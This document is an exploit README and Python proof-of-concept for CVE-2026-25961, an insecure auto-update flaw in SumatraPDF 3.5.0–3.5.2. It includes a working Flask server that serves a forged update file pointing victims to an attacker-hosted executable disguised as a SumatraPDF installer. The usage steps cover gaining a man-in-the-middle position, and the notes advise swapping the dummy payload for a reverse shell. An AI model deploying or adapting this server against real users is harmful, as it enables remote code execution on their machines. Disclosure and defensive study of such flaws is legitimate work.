README.md
Rendering markdown...
# Exploit Title: SumatraPDF 3.5.0 - 3.5.2 Insecure Auto-Update - Remote Code Execution via Malicious Update Server
# Date: 2026-02-10
# Exploit Author: Mohammed I. Banyamer
# Vendor Homepage: https://www.sumatrapdfreader.org/
# Software Link: https://www.sumatrapdfreader.org/download-free-pdf-viewer
# Version: 3.5.0 - 3.5.2
# Tested on: Windows 10 / 11
# CVE : CVE-2026-25961
# Advisory: https://github.com/sumatrapdfreader/sumatrapdf/security/advisories/GHSA-xpm2-rr5m-x96q
# CVSS: 7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
#
# Description:
# SumatraPDF versions 3.5.0 to 3.5.2 disable TLS hostname verification during update checks
# (using INTERNET_FLAG_IGNORE_CERT_CN_INVALID) and do not perform any signature or integrity
# validation on the downloaded installer.
#
# A network-positioned attacker can:
# - Intercept the HTTPS request to www.sumatrapdfreader.org/update-check-rel.txt
# - Return a forged response containing a URL to an attacker-controlled executable
# - When the user clicks "Install", SumatraPDF executes the downloaded file via CreateProcess
#
# Attack scenarios include rogue Wi-Fi, compromised home/office router, malicious upstream proxy,
# or DNS hijacking / poisoning that redirects the update domain.
#
# This PoC provides the malicious update server component only.
# The attacker must achieve traffic redirection/interception separately (MITM position).
#
# Usage (attacker side):
# 1. Deploy this script on a server / VPS reachable from the victim
# 2. Achieve network position so that victim's update request reaches your server
# (e.g. DNS spoofing, rogue AP, router compromise, transparent proxy injection)
# 3. Victim opens SumatraPDF → Help → Check for updates
# 4. Victim sees fake new version → clicks Install → payload executes
#
# Notes:
# - Replace the dummy payload with real malicious code (reverse shell, etc.)
# - No exploit without network adversary position (MITM / DNS control)
#
from flask import Flask, request, Response, send_file
import os
app = Flask(__name__)
FAKE_UPDATE_TEMPLATE = """Ver=999.9.9
Installer64=http://{}:5000/malicious_installer.exe
"""
PAYLOAD_FILENAME = "malicious_installer.exe"
if not os.path.exists(PAYLOAD_FILENAME):
print("[!] Generating dummy payload (would open calc.exe in real attack)...")
with open(PAYLOAD_FILENAME, "wb") as f:
f.write(b"MZ" + b"\x90"*200 + b"FAKE PAYLOAD - replace with real shellcode")
@app.route("/update-check-rel.txt")
def fake_update():
attacker_host = request.host.split(':')[0]
update_content = FAKE_UPDATE_TEMPLATE.format(attacker_host)
print(f"[+] Fake update served to {request.remote_addr} → pointing to {attacker_host}")
return Response(update_content, mimetype="text/plain")
@app.route("/malicious_installer.exe")
def deliver_payload():
victim_ip = request.remote_addr
print(f"[!] Victim {victim_ip} downloading payload → RCE would trigger on install click")
return send_file(
PAYLOAD_FILENAME,
as_attachment=True,
download_name="SumatraPDF-999.9.9-64-installer.exe",
mimetype="application/octet-stream"
)
if __name__ == "__main__":
print("======================================================")
print(" CVE-2026-25961 SumatraPDF Remote Update PoC Server ")
print(" Requires MITM / DNS / router position to be effective ")
print("======================================================")
print("[*] Listening on http://0.0.0.0:5000")
print("[*] Point victim traffic to this host for update-check-rel.txt")
print("======================================================")
app.run(host="0.0.0.0", port=5000, debug=False)